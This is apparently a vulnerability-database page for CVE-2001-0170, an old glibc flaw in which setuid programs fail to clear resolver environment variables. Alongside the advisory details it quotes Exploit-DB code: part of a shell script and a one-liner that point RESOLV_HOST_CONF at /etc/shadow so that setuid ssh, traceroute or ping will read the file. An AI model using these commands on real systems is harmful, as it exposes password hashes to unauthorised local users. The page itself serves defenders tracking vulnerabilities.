CVE-2001-0170
published 2001-03-26CVE-2001-0170: glibc 2.1.9x and earlier does not properly clear the RESOLV_HOST_CONF, HOSTALIASES, or RES_OPTIONS environmental variables when executing setuid/setgid…
PriorityP414low2.1CVSS 2.0
AVLACLAuNCPINAN
EXPLOIT
EPSS
0.84%
53.9th percentile
glibc 2.1.9x and earlier does not properly clear the RESOLV_HOST_CONF, HOSTALIASES, or RES_OPTIONS environmental variables when executing setuid/setgid programs, which could allow local users to read arbitrary files.
Affected
12 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| debian | debian_linux | — | — |
| immunix | immunix | — | — |
| redhat | linux | — | — |
CVSS provenance
nvdv2.02.1LOWAV:L/AC:L/Au:N/C:P/I:N/A:N
vendor_redhat2.1LOW
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-6558-8g43-2f27: glibc 2
ghsa_unreviewed·2022-04-30
CVE-2001-0170 [LOW] GHSA-6558-8g43-2f27: glibc 2
glibc 2.1.9x and earlier does not properly clear the RESOLV_HOST_CONF, HOSTALIASES, or RES_OPTIONS environmental variables when executing setuid/setgid programs, which could allow local users to read arbitrary files.
Red Hat
security flaw
vendor_redhat·2001-01-10·CVSS 2.1
CVE-2001-0170 [LOW] security flaw
security flaw
glibc 2.1.9x and earlier does not properly clear the RESOLV_HOST_CONF, HOSTALIASES, or RES_OPTIONS environmental variables when executing setuid/setgid programs, which could allow local users to read arbitrary files.
No detection rules found.
Exploit-DB
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read
exploitdb·2001-01-25
CVE-2001-0170 glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read
---
# Charles Stevenson
# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)
# This exploits is for glibc >= 2.1.9x.
# (****[email protected]****)
# Edit this if you have a problem with path
ssh=/usr/bin/ssh
traceroute=/usr/sbin/traceroute
FILE=/etc/shadow # File to read
###############################################################################
echo "$ssh"
echo "[*] Checking permisions..."
if [ ! -u $ssh ]; then
echo "$ssh is NOT setuid on this system or does not exist at all!"
if [ ! -u $traceroute ]; then
echo "$traceroute is NOT setuid on this system or does not exist at all!"
exit 0
fi
fi
export RESOLV_HOST_CONF=$FILE
echo "[*] Glibc bug found by Charles Stevenson "
echo "[*] [email protected]"
sleep 1
echo
Exploit-DB
Resolv+ 'RESOLV_HOST_CONF' - Linux Library Command Execution
exploitdb·1996-01-01
CVE-2001-0170 Resolv+ 'RESOLV_HOST_CONF' - Linux Library Command Execution
Resolv+ 'RESOLV_HOST_CONF' - Linux Library Command Execution
---
setenv RESOLV_HOST_CONF /etc/shadow; ping adfas
# milw0rm.com [1996-01-01]
http://archives.neohapsis.com/archives/bugtraq/2001-01/0131.htmlhttp://archives.neohapsis.com/archives/bugtraq/2001-01/0186.htmlhttp://www.redhat.com/support/errata/RHSA-2001-001.htmlhttp://www.securityfocus.com/bid/2181https://exchange.xforce.ibmcloud.com/vulnerabilities/5907http://archives.neohapsis.com/archives/bugtraq/2001-01/0131.htmlhttp://archives.neohapsis.com/archives/bugtraq/2001-01/0186.htmlhttp://www.redhat.com/support/errata/RHSA-2001-001.htmlhttp://www.securityfocus.com/bid/2181https://exchange.xforce.ibmcloud.com/vulnerabilities/5907
2001-03-26
Published